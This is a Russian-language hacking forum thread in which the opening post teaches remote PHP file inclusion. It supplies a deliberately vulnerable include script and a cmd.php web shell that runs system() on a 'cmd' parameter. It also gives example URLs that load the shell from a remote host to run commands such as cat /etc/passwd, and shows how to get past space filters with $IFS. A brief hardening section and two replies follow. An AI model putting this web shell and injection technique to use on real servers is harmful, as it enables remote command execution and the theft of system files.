Чужие Удаленный PHP - Инклуд

wersawer

Новичок
Репутация
0 / 413
Если локальный инклуд позволят только просматривать файлы, то удаленный, или глобальный, инклуд дает возможность загружать файлы с других веб сайтов.

Загружаемый с хакерского сайта файл может содержать небольшую прорамму на языке PHP, позволяющую нам из адресной строки браузера вводить nix -команда, которые будут выполняться на атакуемой система.

Например http://test.ru/include.php?com=http://naro....txt&cmd=ls

В данном примере команда ls выводит список файлов в текущем каталогам.

ЭКСПЕРИМЕНТЫ:

Создадим файл inj.php
?1
2 $page = ($_GET['page']);
include ("$page");


теперь можно загружать любой файл со стороны.
создадим ещё один файл cmd.php который будет у нас как раз и загружаться удаленно.
?1
2
3 <pre><!--?php
print("<b-->$cmd\n");
system($cmd);</pre>


теперь проверим http://localhost/inj.php?page=http://local.../cmd.php?cmd=ls

у вас должно вывести название команды и содержимое текущего каталога, можете поэксперементировать, и вести другие команды, (uname,pwd,dir)

Доступ который мы получили несёт название веб-шелл.

для того чтобы команду выполнять с параметрами(Аргументы) допусти ls -l и пробел между ls и -l нужно заменить на переменую окружения $IFS, или на +, то есть команду ls -l нужно вести так => ls$IFS-l или ls+-ls

Зашел разговро о ls -l то раскажу о правах доступа.

Команда для изменения права доступа: chmod 777 файл или папка

Первая 7 означает все права для владельца

вторая 7 означает все права на группу

третья 7 означает все права для других пользователей

команда chmod -R 777 test/ изменить права на папку и на все её дочерние директории и файлы.

цифры для назначения прав

0- никаких прав

1- только исполнения

2-только запись

3-запись и исполнения

4-только чтение

5-чтение и исполнение

6 - чтение и исполнения

7 -все права

ещё одна команда: chown пользователь:группа (файл или папка) - изменяет группу и владельца файлы или директории

с параметром -R изменяет все файл и директории chown -R пользователь:группа (файл или папка)

ещё полезная команда cat смотрит содержимое любого файла: пример cat /etc/passwd

вы можете попробовать кстати в наш эксперимен вести http://localhost/inj.php?page=http://local...cat+/etc/passwd , но не забывайте пробелы не ставятся а ставятся знак “+”

на этом закончим!!!!!!
 
Дополнение: вносим в корневую директорию ссылкочку /root. Бац и при заходе http://localhost/root мы попадаем в коренвую директорию самого сервера )
А теперь ответим как защититься. Для начала вставляем в каждый пустой папке заглушку с index.php или html кому как больше нравится (Я предпочитаю PHP).
Во вторых данный косяк есть и на php.5.4 так что не удивляйтесь работать нужно именно c PHP.ini заблокируйте функции.
disable_functions = dl,dll,system,exec,passthru,shell,shell_exec,proc_open,popen,phpinfo,set_time_limit,symlink,chown,chmod,link,proc,proc_show,show_source,pwd,eval,cpuinfo,meminfo,cmd,ini_get_all,uname,php$
// Это не все. Тут выборка для каждого персонально. кому что надо а кому не надо. Если вы Администратор Веб-сервера советую с генерировать для каждого пользователя свой PHP.INI.
И еще не в коем случае не запускайте Апач c правами ~ROOT ). Кстати если вы работаете с CPanel Именно их требует apache.
Если данная статья хоть кому то помогла, очень рад.
Примеры взлома сервера можно увидеть .
 
Чудо-защитники, не помогает это, все элементарно обходится х)
 
Какая разница от имени кого стартует демон апача? О_о )
Единственный способ защитить рута - запретить удалённый логин рутом. И это главное, что должен сделать любой человек, который что-либо защищает: запретить удалённый логин рутом и сменить порты по умолчанию. Остальное - демагогия и тонкая настройка под конкретные случаи.
 
Сверху